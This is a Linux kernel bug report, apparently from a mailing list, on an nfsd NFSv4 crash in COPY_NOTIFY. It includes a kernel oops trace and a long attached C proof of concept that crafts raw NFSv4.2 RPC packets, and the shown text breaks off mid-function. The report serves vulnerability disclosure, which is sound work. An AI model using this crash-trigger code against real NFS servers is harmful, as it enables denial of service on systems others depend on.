nfsd v4 server can crash in COPY_NOTIFY

[rtm@csail.mit.edu]

[-- Attachment #1: Type: text/plain, Size: 1222 bytes --]

If the special ONE stateid is passed to nfs4_preprocess_stateid_op(),
it returns status=0 but does not set *cstid. nfsd4_copy_notify()
depends on stid being set if status=0, and thus can crash if the
client sends the right COPY_NOTIFY RPC.

I've attached a demo.

# uname -a
Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #28 SMP Wed Jan 5 14:40:37 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
# cc nfsd_5.c
# ./a.out
...
[   35.583265] Unable to handle kernel paging request at virtual address ffffffff00000008
[   35.596916] status: 0000000200000121 badaddr: ffffffff00000008 cause: 000000000000000d
[   35.597781] [<ffffffff80640cc6>] nfs4_alloc_init_cpntf_state+0x94/0xdc
[   35.598576] [<ffffffff80274c98>] nfsd4_copy_notify+0xf8/0x28e
[   35.599386] [<ffffffff80275c86>] nfsd4_proc_compound+0x2b6/0x4ee
[   35.600166] [<ffffffff8025f7f4>] nfsd_dispatch+0x118/0x174
[   35.600840] [<ffffffff8061a2e8>] svc_process_common+0x2f4/0x56c
[   35.601630] [<ffffffff8061a624>] svc_process+0xc4/0x102
[   35.602302] [<ffffffff8025f25a>] nfsd+0xfa/0x162
[   35.602979] [<ffffffff80027010>] kthread+0x124/0x136
[   35.603668] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
[   35.604667] ---[ end trace 69f12ad62072e251 ]---


[-- Attachment #2: nfsd_5.c --]
[-- Type: application/octet-stream, Size: 41067 bytes --]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>

#define NAA 128
unsigned long long aa[NAA] = {
0xc2ffffffull,
0x0ull,
0xfcffffff00000000ull,
0xfaffffffull,
0xc6ffffff00000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;
int symstart = -1;

char obuf[10240];
int oi = 0;

int s; // socket fd
int xid = 1;
unsigned long long clientid; // server tells us in exchange_id reply
unsigned int sequenceid;
unsigned int slot0sequenceid = 1;
char sessionid[16];
int stateid_seqid; // from last received stateid4
char stateid_other[12]; // from last received stateid4
int tmp_fh_len;
char tmp_fh[256];

void
sys(const char *cmd)
{
  volatile int junk = system(cmd);
  (void) junk;
}

void put_fattr4_one();
void put_fattr4_many();

void
put32(unsigned int x)
{
  assert((oi % 4) == 0);
  *(int*)(obuf+oi) = htonl(x);
  oi += 4;
}

void
put64(unsigned long long x)
{
  put32(x >> 32);
  put32(x);
}

void
put_opaque(int n, const char *buf)
{
  put32(n);
  for(int i = 0; i < n; i++)
    obuf[oi++] = (buf ? buf[i] : 0);
  while(n & 3){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_opaque_repeat(int n, char c)
{
  put32(n);
  for(int i = 0; i < n; i++)
    obuf[oi++] = c;
  while((n%4)!=0){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_sessionid(const char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

void
put_reset()
{
  oi = 4; // leave room for packet length
}

void
send_send()
{
  assert(oi >= 4);
  assert((oi % 4) == 0);
  assert(oi <= sizeof(obuf));
  assert(aai <= NAA);
  for(int i = 0; i < 16; i++)
    put32(0xffffffff);
  if(symstart != -1){
    for(int i = symstart; i < oi && aai < NAA; i += 8)
      *(long long *)(obuf + i) ^= aa[aai++];
  }
  *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
  printf("writing %d xid %d\n", oi, ntohl(*(int*)(obuf+4)));
  if(write(s, obuf, oi) <= 0) perror("write");
  oi = 0;
  symstart = -1;
}

void
put_rpc_header(int proc)
{
  put_reset();
  put32(xid++);
  put32(0); // mtype=CALL
  put32(2); // rpc version
  put32(100003); // prog #
  put32(4); // prog vers
  put32(proc); // proc
  if(proc == 0){
    put32(0); // cred type
    put32(0); // cred len
  } else {
    put32(1); // cred type AUTH_SYS / AUTH_UNIX
    put32(32); // cred length
    put32(0); // stamp
    put_opaque(9, "localhost");
    put32(65534); // uid
    put32(65534); // gid
    put32(0); // # gids
  }
  put32(0); // verf type
  put32(0); // verf len
}

void
put_compound(int n)
{
  put_rpc_header(1);

  // compound header
  put_opaque(0, ""); // tag
  put32(2); // minor version
  put32(n); // # operations in the compound
}

// most COMPOUNDs are required to start with a SEQUENCE.
void
put_sequence()
{
  put32(53); // SEQUENCE
  put_sessionid(sessionid); // sessionid (16 bytes)
  put32(slot0sequenceid++); // sequenceid ???
  put32(0); // slotid
  put32(0); // highest_slotid
  put32(0); // cachethis
}

void
put_reclaim_complete()
{
  put32(58); // RECLAIM_COMPLETE
  put32(0); // 0 means global, 1 means just current fh
}


char ibuf[10240];
int ii;
int ilen;

int
readn(int fd, void *xbuf, int n)
{
  char *buf = (char *) xbuf;
  int orig = n;
  while(n > 0){
    int cc = read(fd, buf, n);
    if(cc <= 0) { perror("read"); return -1; }
    n -= cc;
    buf += cc;
  }
  return orig;
}

unsigned int
parse32()
{
  if(ii >= ilen){
    printf("parsed beyond the end of the input\n");
    return 0;
  }
  unsigned int x = *(int*)(ibuf+ii);
  ii += 4;
  return ntohl(x);
}

unsigned long long
parse64()
{
  unsigned long long hi = parse32();
  unsigned long long lo = parse32();
  return (hi << 32) | lo;
}

// sessionid4 -- 16 bytes
void
parse_sessionid(char *sid)
{
  for(int i = 0; i < 16; i++){
    if(sid)
      sid[i] = ibuf[ii];
    ii++;
  }
}

void
put_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    if(sid)
      sid[i] = ibuf[ii];
    ii++;
  }
}

unsigned int
parse_opaque(char *buf)
{
  if(buf)
    buf[0] = 0;
  int nominal_n = parse32();
  if(nominal_n > 4096){
    printf("crazy opaque length %d\n", nominal_n);
    return 0;
  }
  int real_n = nominal_n;
  while((real_n%4) != 0) real_n += 1;
  for(int i = 0; i < real_n; i++){
    if(buf && i < real_n)
      buf[i] = ibuf[ii];
    ii++;
  }
  return nominal_n;
}

void
parse_exchange_id_reply()
{
  int status = parse32();
  if(status != 0)
    printf("exchange_id reply status %d, not 0\n", status);
  clientid = parse64();
  sequenceid = parse32();
  printf("exchange_id clientid 0x%llx sequenceid 0x%x\n", clientid, sequenceid);
}

void
parse_create_session_reply()
{
  int status = parse32();
  if(status != 0)
    printf("create_session reply status %d, not 0\n", status);
  parse_sessionid(sessionid);
}

void
parse_sequence_reply()
{
  int status = parse32();
  if(status != 0)
    printf("sequence reply status %d, not 0\n", status);
  parse_sessionid(0);
  parse32(); // sequenceid
  parse32(); // slotid
  parse32(); // highest_slotid
  parse32(); // target_highest_slotid
  parse32(); // status_flags
}

void
parse_putrootfh_reply()
{
  int status = parse32();
  if(status != 0)
    printf("putrootfh_reply status %d\n", status);
}

void
parse_lookup_reply()
{
  int status = parse32();
  if(status != 0)
    printf("lookup_reply status %d\n", status);
}

void
parse_stateid()
{
  stateid_seqid = parse32();
  for(int i = 0; i < 12; i++)
    stateid_other[i] = ibuf[ii++];
}

void
parse_open_reply()
{
  int status = parse32();
  if(status != 0){
    printf("open status %d\n", status);
    return;
  }
  parse_stateid();
  parse32(); // change_info atomic
  parse64(); // change_info before
  parse64(); // change_info after
  parse32(); // rflags
  unsigned int bitwords = parse32(); // attrset
  for(int i = 0; i < bitwords; i++)
    parse32();
  int delegation_type = parse32(); // open_delegation4
  if(delegation_type == 0){
    // OPEN_DELEGATE_NONE
  } else if(delegation_type == 1){
    // OPEN_DELEGATE_READ
    // open_read_delegation4
    parse32(); // stateid seqid
    parse32(); // other
    parse32(); // other
    parse32(); // other
    parse32(); // recall
    // nfsace4
    parse32(); // nfsace4 type
    parse32(); // nfsace4 flag
    parse32(); // nfsace4 access_mark
    parse_opaque(0); // nfsace4 who
  } else if(delegation_type == 2){
    // OPEN_DELEGATE_WRITE
    parse32(); // stateid seqid
    parse32(); // other
    parse32(); // other
    parse32(); // other
    parse32(); // recall
    // nfs_space_limit4
    int limitby = parse32();
    if(limitby == 1){
      // NFS_LIMIT_SIZE
      parse64(); // filesize
    } else if(limitby == 2){
      // NFS_LIMIT_BLOCKS
      parse32(); // num_blocks
      parse32(); // bytes_per_block
    } else {
      printf("open reply, unknown limitby %d\n", limitby);
    }
    // nfsace4
    parse32(); // nfsace4 type
    parse32(); // nfsace4 flag
    parse32(); // nfsace4 access_mark
    parse_opaque(0); // nfsace4 who
  } else {
    printf("DID NOT understand delegation_type %d\n", delegation_type);
  }
}

void
parse_compound_reply()
{
  int stat = parse32(); // OK
  parse_opaque(0);
  int nops = parse32();
  printf("compound reply, nops %d, stat %d", nops, stat);
  if(stat > 0 && stat < 200){
    printf(" %s", strerror(stat));
  }
  printf("\n");
  for(int opi = 0; opi < nops && ii < ilen; opi++){
    int op = parse32();
    printf("reply for op %d\n", op);
    if(op == 53){
      parse_sequence_reply();
    } else if(op == 42){
      parse_exchange_id_reply();
    } else if(op == 43){
      parse_create_session_reply();
    } else if(op == 24){
      parse_putrootfh_reply();
    } else if(op == 15){
      parse_lookup_reply();
    } else if(op == 18){
      parse_open_reply();
    } else if(op == 26){
      int status = parse32();
      printf("readdir status %d\n", status);
      if(status == 0){
        long long verf = parse64();
        int nentries = parse32();
        long long cookie = parse64();
        char name[1024];
        memset(name, 0, sizeof(name));
        parse_opaque(name);
        printf("verf %llx *entries %d cookie %llx name %s\n", verf, nentries, cookie, name);
      }
      break;
    } else if(op == 34){
      int status = parse32();
      printf("setattr status %d\n", status);
      break;
    } else if(op == 22){
      // putfh
      int status = parse32();
      printf("putfh status %d\n", status);
    } else if(op == 10){
      // getfh
      int status = parse32();
      if(status == 0){
        int tmp_fh_len = parse_opaque(tmp_fh);
        printf("getfh fh_len %d\n", tmp_fh_len);
      } else {
        printf("getfh status %d\n", status);
      }
    } else {
      break;
    }
  }
}

void
parse_callback(int xid)
{
  parse32(); // rpc version
  parse32(); // prog #
  parse32(); // prog vers
  int proc = parse32(); // proc
  parse32(); // auth flavor
  parse_opaque(0); // auth
  parse32(); // verf flavor
  parse_opaque(0); // verf
  printf("callback proc=%d\n", proc);

  oi = 0;
  put32(0); // placeholder
  put32(xid);
  put32(1); // REPLY
  put32(0); // MSG_ACCEPTED
  put32(0); // opaque_auth flavor = AUTH_NULL
  put32(0); // opaque_auth length
  put32(0); // SUCCESS
  int xoi = oi;
  if(proc == 0){
    // nop
  } else if(proc == 1){
    // compound
    parse_opaque(0); // tag
    parse32(); // minorversion
    parse32(); // callback_ident
    int nops = parse32();
    put32(0); // status
    put_opaque(0, ""); // tag
    put32(nops);
    for(int opi = 0; opi < nops; opi++){
      int op = parse32();
      xoi = oi;
      put32(op);
      if(op == 11){
        // CB_SEQUENCE
        char sid[16];
        parse_sid(sid);
        int seq = parse32(); // sequenceid
        int slot = parse32(); // slotid
        int hislot = parse32(); // highest_slotid
        parse32(); // cachethis
        int nrcl = parse32(); // csa_referring_call_lists<>
        for(int rci = 0; rci < nrcl; rci++){
          parse32(); // sessionid
          parse32();
          parse32();
          parse32();
          int nxxx = parse32(); // rcl_referring_calls<>
          for(int xi = 0; xi < nxxx; xi++){
            parse32(); // sequenceid
            parse32(); // slotid
          }
        }
        put_sid(sid);
        put32(seq); // sequenceid
        put32(slot); // slotid
        put32(hislot); // highest_slotid
        put32(hislot); // target_highest_slotid
      } else if(op == 4){
        printf("CB_RECALL\n");
        // stateid4
        parse32(); // seqid
        parse32(); // other
        parse32();
        parse32();
        parse32(); // truncate
        parse_opaque(0); // fh
        put32(0); // OK
      } else {
        printf("callback unknown op %d\n", op);
        break;
      }
    }
  } else {
    printf("callback: unknown proc %d\n", proc);
  }
  send_send();
}

void
parse_reply(int proc)
{
  int desired_xid = xid - 1;
 again:
  if(readn(s, &ilen, 4) < 0)
    return;
  ilen = ntohl(ilen);
  if((ilen & 0x80000000) == 0)
    printf("ilen is missing 0x80000000\n");
  ilen &= 0x7fffffff;
  if(ilen > sizeof(ibuf)){
    printf("huge packet %d\n", ilen);
    return;
  }
  if(readn(s, ibuf, ilen) < 0)
    return;
  ii = 0;
  int xxid = parse32(); // xid
  int mtype = parse32(); // 1 = REPLY
  if(mtype == 0){
    // CALL -- a callback
    parse_callback(xxid);
    goto again;
  }
  if(xxid != desired_xid){
    printf("xid mismatch, wanted 0x%x, got 0x%x, ilen %d, ii %d\n", desired_xid, xxid, ilen, ii);
  }
  if(mtype != 1)
    printf("unexpected mtype %d, expected 1 / REPLY\n", mtype);
  int stat = parse32(); // MSG_ACCEPTED
  if(stat != 0)
    printf("unexpected reply stat %d, expected 0 / MSG_ACCEPTED\n", stat);
  int flavor = parse32(); // auth flavor
  if(flavor != 0)
    printf("unexpected auth_flavor %d, expecting 0 / AUTH_NONE\n", flavor);
  parse_opaque(0); // verf
  stat = parse32(); // SUCCESS
  if(stat != 0)
    printf("unexpected stat %d, expected 0 / SUCCESS\n", stat);

  if(proc == 0){
    printf("got reply for proc %d\n", proc);
  } else if(proc == 1){
    parse_compound_reply();
  } else {
    printf("got unexpected reply for proc %d xid %d\n", proc, xxid);
  }
}

void
send_nop()
{
  put_rpc_header(0);
  send_send();
  parse_reply(0);
}

void
send_exchange_id(int dosym)
{
  put_compound(1);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(42); // operation 42: EXCHANGE_ID
  int co_verifier = 1;
#if !SYM
  co_verifier = getpid(); // needs to be unique
#endif
  put64(co_verifier); // verifier4
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
  put32(0x103);  // flags
  put32(0); // SP4_NONE
  put32(1); // length of client_impl_id
  put_opaque(10, "kernel.org"); // nii_domain
  put_opaque(4, "blah"); // nii_name
  put64(0); // nfstime4
  put32(0); // nfstime4
  send_send();
  parse_reply(1);
}

void
send_exchange_id_sym()
{
  put_compound(1);
  put32(42); // operation 42: EXCHANGE_ID
  put64(1); // verifier4
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
  put32(0x103 ^ aa[aai++]);  // flags
  unsigned int how = aa[aai++];
  put32(how);
  int xoi = oi;
  if(how == 0){ // SP4_NONE
  } else if(how == 1){ // SP4_MACH_CRED
    put32(3);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(3);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(0xffffffff);
  } else if(how == 2){ // SP4_SSV
    // ssp_ops
    put32(3);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(0xffffffff);
    // ssp_hash_algs<>
    put32(2);
    put_opaque(8, "12345678");
    put_opaque(8, "1bcdefgh");
    // ssp_encr_algs<>
    put32(2);
    put_opaque(8, "12345678");
    put_opaque(8, "1bcdefgh");
    put32(99); // ssp_window
    put32(99); // ssp_num_gss_handles
  }
  unsigned int n = aa[aai++];
  if(n > 20) n = 20;
  put32(n); // length of client_impl_id
  for(int i = xoi; i < oi && aai < NAA; i += 8)
    *(long long *)(obuf+i) ^= aa[aai++];
  for(int i = 0; i < n; i++){
    put_opaque_repeat(aa[aai++] & 0xff, 'x'); // nii_domain
    put_opaque_repeat(aa[aai++] & 0xff, 'y'); // nii_name
    put64(0); // nfstime4
    put32(0); // nfstime4
  }
  send_send();
  parse_reply(1);
}

void
send_create_session(int dosym)
{
  put_compound(1);
  put32(43); // CREATE_SESSION
  put64(clientid);
  put32(sequenceid++);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(3); // flags, 1=FLAG_PERSIST, 2=CONN_BACK_CHAN
  // csa_fore_chan_attrs, csa_back_chan_attrs
  for(int i = 0; i < 2; i++){
    put32(0); // headerpadsize
    put32(4096); // maxrequestsize
    put32(4096); // maxresponsesize
    put32(4096); // maxresponsesize_cached
    put32(8); // maxoperations
    put32(16); // maxrequests
    put32(0); // ca_rdma_ird<>
  }
  put32(0x40000000); // csa_cb_program
  put32(1); // length of csa_sec_parms
#if 0
  put32(0); // AUTH_NONE
#else
  put32(1); // flavor AUTH_SYS
  put32(0); // stamp
  put_opaque(9, "localhost");
  put32(65534); // uid
  put32(65534); // gid
  put32(0); // # gids
#endif
  send_send();
  parse_reply(1);
}

void
send_sequence()
{
  put_compound(1);
  put_sequence();
  send_send();
  parse_reply(1);
}

void
send_reclaim_complete()
{
  put_compound(2);
  put_sequence();
  put_reclaim_complete();
  send_send();
  parse_reply(1);
}

void
put_rootfh()
{
  put32(24);
}

void
put_open_existing(const char *filename, int share)
{
  put32(18);
  put32(0); // seqid
  put32(share); // share_access 1=READ 3=BOTH
  put32(0); // share_deny
  put64(clientid); // owner
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
  put32(0); // openhow OPEN4_NOCREATE
  put32(0); // CLAIM_NULL
  put_opaque(strlen(filename), filename);
}

void
put_open_create(char *name, int dosym)
{
  put32(18);
  put32(0); // seqid
  put32(3); // share_access BOTH
  put32(0); // share_deny
  put64(clientid); // owner
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
  put32(1); // openhow OPEN4_CREATE
  unsigned int mode = 0; // UNCHECKED4
  if(dosym)
    mode ^= aa[aai++];
  put32(mode);
  if(mode == 2 || mode == 3){
    put64(0); // verifier
  }
  if(mode != 2){
    if(dosym){
      //put_fattr4_one();
      put32(2);
      put64(aa[aai++]);
      put32(16*8);
      for(int i = 0; i < 16; i++)
        put64(aa[aai++]);
    } else {
      put32(2); // attr bitmap length
      put32(16); // attr bits
      put32(2); // attr bits
      put32(12); // attr len
      put32(0);
      put32(0);
      put32(420);
    }
  }
  unsigned int claim_type = 0; // CLAIM_NULL
  if(dosym)
    claim_type ^= aa[aai++];
  put32(claim_type);
  {
    char ff[256];
    sprintf(ff, "/tmp/%s", name);
    unlink(ff);
  }
  if(claim_type == 0 || claim_type == 3){
    put_opaque(strlen(name), name);
  } else if(claim_type == 1){ // CLAIM_PREVIOUS
    put32(aa[aai++]);
  } else if(claim_type == 2){ // CLAIM_DELEGATE_CUR
    // stateid4
    put32(stateid_seqid); // open_stateid, from previous OPEN
    for(int i = 0; i < 12; i++)
      obuf[oi++] = stateid_other[i];
    put_opaque(strlen(name), name);
  } else if(claim_type == 4){ // CLAIM_FH
  } else if(claim_type == 5){ // CUR_FH
    put32(stateid_seqid); // open_stateid, from previous OPEN
    for(int i = 0; i < 12; i++)
      obuf[oi++] = stateid_other[i];
  } else if(claim_type == 6){ // PREV_FH
  }
}

void
put_readdir(int dosym)
{
  put32(26);
  if(dosym && symstart == -1)
    symstart = oi;
  put64(0); // cookie
  put64(0); // cookieverf
  put32(512); // dircount (bytes)
  put32(512); // maxcount (bytes)
  // bitmap
  put32(4);
  put32(0x0018091a);
  put32(0x00b0a23a);
  put32(0);
  put32(0);
}

void
put_lookup(const char *name)
{
  put32(15);
  put_opaque(strlen(name), name);
}

//
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int xwords[], int fh)
{
  int words[3];
  for(int i = 0; i < 3; i++){
    words[i] = xwords[i];
  }
  int bitwords = 3;
  put32(bitwords);
  int word0i = oi;
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
  int leni = oi;
  put32(0); // placeholder for total length of attrs
  for(int a = 0; a < bitwords*32; a++){
    if(words[a/32] & (1 << (a % 32))){
      int xoi = oi;
      if(a == 0){
        put32(2); // # bitmap words of supported attrs
        put32(0xffffffff);
        put32(0xffffffff);
      } else if(a == 1){
        int type = 1;
        if(fh == 0 || fh == 1)
          type = 2;
        put32(type); // NF4DIR=2 or NF4REG=1
      } else if(a == 2){
        put32(0); // fh_expire_type
      } else if(a == 3){
        put64(0); // change
      } else if(a == 4){
        put64(4096*10); // size
      } else if(a == 5){
        put32(1); // link support
      } else if(a == 6){
        put32(1); // symlink support
      } else if(a == 8){
        put64(1); // fsid major
        put64(1); // fsid minor
      } else if(a == 10){
        put32(1); // lease time
      } else if(a == 11){
        put32(0); // rdattr_error
      } else if(a == 12){
        // ACL
        int n = 2;
        put32(n);
        for(int i = 0; i < n; i++){
          put32(0); // type
          put32(0); // flag
          put32(0); // mask
          char who[9];
          memset(who, 0, sizeof(who));
          //strcpy(who, "1");
          strcpy(who, "OWNER@");
          //strcpy(who, "GROUP@");
          put_opaque(strlen(who), who);
        }
      } else if(a == 13){
        put32(0xf); // aclsupport
      } else if(a == 19){
        // filehandle
        int xfh = fh;
        put_opaque(4, (char*)&xfh); // fh
      } else if(a == 20){
        put64(fh); // fileid
      } else if(a == 24){
        // fs_locations
        put32(1);
        put_opaque(10, "abcde12345"); // pathname4
        put32(1); // locations<>
        put_opaque(10, "abcde12345"); // server
        put32(1);
        put_opaque(10, "abcde12345"); // rootpath
      } else if(a == 27){
        put64(0xffffffffffff); // max file size
      } else if(a == 28){
        put32(0xffff); // max link
      } else if(a == 29){
        put32(256); // max name
      } else if(a == 30){
        put64(10*4096); // max read
      } else if(a == 31){
        put64(10*4096); // max write
      } else if(a == 33){
        put32(0777); // mode
      } else if(a == 35){
        put32(3); // numlinks
      } else if(a == 36){
        put_opaque(6, "other"); // owner
      } else if(a == 37){
        put_opaque(6, "other"); // owner_group
      } else if(a == 41){
        put32(1); // rawdev major
        put32(1); // rawdev minor
      } else if(a == 45){
        put64(4096*10); // space used
      } else if(a == 47){
        put64(0); // time access seconds
        put32(0); // nseconds
      } else if(a == 51){
        put64(0); // time delta seconds
        put32(0); // nseconds
      } else if(a == 52){
        put64(0); // time metadata seconds
        put32(0); // nseconds
      } else if(a == 53){
        put64(0); // time modify seconds
        put32(0); // nseconds
      } else if(a == 55){
        put64(0); // mounted_on_fileid ???
      } else if(a == 62){
        // fs_layout_types
        put32(1);
        put32(1); // LAYOUT4_NFSV4_1_FILES
      } else if(a == 75){
        // FATTR4_SUPPATTR_EXCLCREAT
        put32(2); // bitmap length
        put32(0xffffffff);
        put32(0xffffffff);
      } else {
        // unknown attr, delete from bitmap.
        words[a/32] &= ~(1 << (a % 32));
        *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
      }
    }
  }
  for(int i = 0; i < 16; i++)
    put32(0xffffffff);
  *(int*)(obuf+leni) = htonl(oi - leni - 4);
}

void
put_fattr4_inner(int words[])
{
  int bitwords = 3;
  put32(bitwords);
  int word0i = oi;
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
  int leni = oi;
  put32(0); // placeholder for total length of attrs
  for(int a = 0; a < bitwords*32; a++){
    if(words[a/32] & (1 << (a % 32))){
      if(a == 0){
        int n = 3 ^ (aa[aai++] & 0xf);
        put32(n); // # bitmap words of supported attrs
        for(int i = 0; i < n; i++){
          put32(0xffffffff ^ aa[aai++]);
        }
      } else if(a == 1){
        put32(1 ^ aa[aai++]); // NF4DIR=2 or NF4REG=1
      } else if(a == 2){
        put32(aa[aai++]); // fh_expire_type
      } else if(a == 3){
        put64(aa[aai++]); // change
      } else if(a == 4){
        put64(103 ^ aa[aai++]); // size
      } else if(a == 5){
        put32(aa[aai++]); // link support
      } else if(a == 6){
        put32(aa[aai++]); // symlink support
      } else if(a == 8){
        put64(aa[aai++]); // fsid major
        put64(aa[aai++]); // fsid minor
      } else if(a == 10){
        put32(aa[aai++]); // lease time
      } else if(a == 11){
        put32(aa[aai++]); // rdattr_error
      } else if(a == 12){
        // ACL
        int n = 1 ^ aa[aai++];
        put32(n);
        for(int i = 0; i < n && i < 2; i++){
          put32(aa[aai++]); // type
          put32(aa[aai++]); // flag
          put32(aa[aai++]); // mask
          char who[9];
          memset(who, 0, sizeof(who));
          // strcpy(who, "65534");
          strcpy(who, "OWNER@");
          *(long long*)who ^= aa[aai++];
          put_opaque(strlen(who), who);
        }
      } else if(a == 13){
        put32(0xf ^ aa[aai++]); // aclsupport
      } else if(a == 19){
        // filehandle
        int n = aa[aai++] & 0xff;
        put_opaque_repeat(n, 'x');
      } else if(a == 20){
        put64(aa[aai++] & 0x3); // fileid
      } else if(a == 24){
        // fs_locations
        put_opaque(10, "abcde12345"); // pathname4
        int n = aa[aai++] & 0x1f;
        put32(n); // locations<>
        for(int i = 0; i < n; i++){
          put_opaque_repeat(aa[aai++] & 0x1ff, 'x'); // server
          put_opaque_repeat(aa[aai++] & 0x1ff, 'y'); // rootpath
        }
      } else if(a == 27){
        put64(aa[aai++]); // max file size
      } else if(a == 28){
        put32(aa[aai++]); // max link
      } else if(a == 29){
        put32(aa[aai++]); // max name
      } else if(a == 30){
        put64(aa[aai++]); // max read
      } else if(a == 31){
        put64(aa[aai++]); // max write
      } else if(a == 33){
        put32(aa[aai++]); // mode
      } else if(a == 35){
        put32(aa[aai++]); // numlinks
      } else if(a == 36){
        put_opaque_repeat(aa[aai++] & 0x1ff, 'z'); // owner
      } else if(a == 37){
        put_opaque_repeat(aa[aai++] & 0x1ff, 'z'); // owner_group
      } else if(a == 41){
        put32(aa[aai++]); // rawdev major
        put32(aa[aai++]); // rawdev minor
      } else if(a == 45){
        put64(aa[aai++]); // space used
      } else if(a == 47){
        put64(0); // time access seconds
        put32(0); // nseconds
      } else if(a == 51){
        put64(aa[aai++]); // time delta seconds
        put32(aa[aai++]); // nseconds
      } else if(a == 52){
        put64(0); // time metadata seconds
        put32(0); // nseconds
      } else if(a == 53){
        put64(0); // time modify seconds
        put32(0); // nseconds
      } else if(a == 55){
        put64(aa[aai++]); // mounted_on_fileid ???
      } else if(a == 62){
        // fs_layout_types
        put32(aa[aai++]);
        put32(aa[aai++]); // LAYOUT4_NFSV4_1_FILES
      } else if(a == 75){
        // FATTR4_SUPPATTR_EXCLCREAT
        int n = aa[aai++] & 0xf;
        put32(n); // # bitmap words of supported attrs
        for(int i = 0; i < n; i++){
          put32(aa[aai++]);
        }
      } else {
        // unknown attr, delete from bitmap.
        words[a/32] &= ~(1 << (a % 32));
        *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
      }
    }
  }
  for(int i = 0; i < 16; i++)
    put32(0xffffffff);
  *(int*)(obuf+leni) = htonl(oi - leni - 4);
}

//
// generate a symbolic fattr4, with multiple elements.
// tries to avoid generating illegal XDR.
//
void
put_fattr4_many()
{
  int bitwords = 3;
  int words[4];
  memset(words, 0, sizeof(words));
  int setme[] = { -1 };
  for(int i = 0; setme[i] >= 0; i++){
    int a = setme[i];
    words[a/32] |= 1 << (a % 32);
  }
  for(int i = 0; i < bitwords; i++){
    words[i] ^= aa[aai++];
  }
  put_fattr4_inner(words);
}

//
// a symbolic fattr4 with just one item set.
//
void
put_fattr4_one()
{
  int bitwords = 3;
  int words[4];
  memset(words, 0, sizeof(words));
  unsigned int bit = aa[aai++];
  if(bit >= 3*32)
    bit = 4;
  words[bit/32] |= 1 << (bit % 32);
  put_fattr4_inner(words);
}

void
put_setattr()
{
  put32(34);
  put32(stateid_seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = stateid_other[i];
  put_fattr4_one();
}

void
send_open_existing(const char *filename, int sharing)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing(filename, sharing);
  send_send();
  parse_reply(1);
}

void
send_open_create(char *name, int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_create(name, dosym);
  send_send();
  parse_reply(1);
}

void
put_create()
{
  put32(6);
  int type = 5; // NFS4LNK
  type ^= aa[aai++];
  put32(type);
  if(type == 5){
    put_opaque(16, "abcdefgh12345678");
  } else if(type == 4 || type == 3){ // CHR, BLK
    put32(aa[aai++]); // major
    put32(aa[aai++]); // minor
  }
  unlink("/tmp/newlink");
  put_opaque(7, "newlink");
  put_fattr4_one();
  if(0){
    put32(3); // fattr4 bitmap size
    put32(0);
    put32(0);
    put32(0);
    put32(0); // opaque fattr4 size
  }
}

void
send_create()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_create();
  send_send();
  parse_reply(1);
}

void
send_setattr(char *name, int dosym)
